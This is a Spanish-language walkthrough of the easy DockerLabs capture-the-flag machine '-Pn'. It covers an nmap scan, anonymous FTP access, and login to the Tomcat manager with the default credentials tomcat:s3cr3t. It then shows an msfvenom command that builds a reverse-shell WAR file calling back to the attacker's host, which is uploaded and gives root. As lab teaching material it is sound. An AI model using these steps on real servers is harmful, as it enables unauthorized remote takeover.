> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/pn.md).

# 🟩 -Pn

🧠Dificultad: Fácil | 🔓13/03/2026

## 🕵️ Reconocimiento

Comenzamos con un escaneo de puertos con `nmap`:

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FEvCByJcCwN0pNbHnmwl4%2Fimage.png?alt=media&amp;token=e5cdf804-5393-40dc-8827-f9ec48c10960" alt=""><figcaption></figcaption></figure>

Hay un servicio web `Tomcat` corriendo en el puerto 8080. Vemos que en el servicio FTP está habilitado inicio de sesión anónimo (sin usar credenciales). Nos conectamos al ftp y nos llevamos un fichero que había en él.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FjR62HiAphuPhXDVC7kO1%2Fimage.png?alt=media&amp;token=3fcd8633-4024-452c-8732-face0060c3b9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FCB8nIAFJNT1mybblwfXZ%2Fimage.png?alt=media&amp;token=f9df0702-9613-4e37-99c1-563ebf74335e" alt=""><figcaption></figcaption></figure>

Parece que se han dejado el TomCat sin configurar. Si intentamos acceder al manager del Tomcat, nos muestra esto:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fkb0yHy1D81ZVZ4Da3MFk%2Fimage.png?alt=media&amp;token=b18ea2a7-7089-4386-8ffa-e664ba3762e9" alt=""><figcaption></figcaption></figure>

Requiere autenticación para entrar. Podemos probar usuarios y contraseñas por defecto para ver si podemos entrar al panel.

Aquí creo que hay un pequeño error, puesto que una contraseña por defecto suele ser `s3cret` (se muestra incluso en la página enseñada anteriormente), pero la contraseña usada aquí es `s3cr3t`. Probablemente si estás leyendo esto, sea porque te hayas atascado aquí. Las credenciales por defecto han sido sacadas de [HackTricks](https://hacktricks.wiki/es/network-services-pentesting/pentesting-web/tomcat/index.html): `tomcat:s3cr3t`.

Una vez introducido el usuario y contraseña en el directorio `/manager/html`, podemos acceder al directorio.&#x20;

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F5UxOepzzRnEf6yRLjzUS%2Fimage.png?alt=media&amp;token=aa2fec65-3dbf-40cf-bdf3-e8ef669f5017" alt=""><figcaption></figcaption></figure>

Vemos que hay una sección donde podemos subir nuestra propia aplicación al Tomcat.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FRawvPU5Egf5N2SbYvAVB%2Fimage.png?alt=media&amp;token=94f415b9-aeae-41f0-9a25-641f00fc0e15" alt=""><figcaption></figcaption></figure>

## 🚪 Ganando acceso

Creamos un fichero `.war` que ejecute una reverse shell hacia nuestra máquina.

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.17.0.1 LPORT=9999 -f war > reverse.war
```

Después de subirla desde la sección mostrada anteriormente, aparece en la lista de aplicaciones.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FGGezC9T8wQYypWB9Diti%2Fimage.png?alt=media&amp;token=ce485e7d-5e9c-40c6-b4f9-465a9161d6e7" alt=""><figcaption></figcaption></figure>

Nos ponemos a la escucha con netcat desde nuestra máquina y ejecutamos la aplicación (con darle click al vínculo de la primera columna de la tabla de aplicaciones, basta).

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F1HhgKlJhecYvyCjcTTeq%2Fimage.png?alt=media&amp;token=82fcbb39-7569-451a-987e-354d938e7a03" alt=""><figcaption></figcaption></figure>

Hemos conseguido acceso como `root` directo, por lo que no necesitamos escalar privilegios.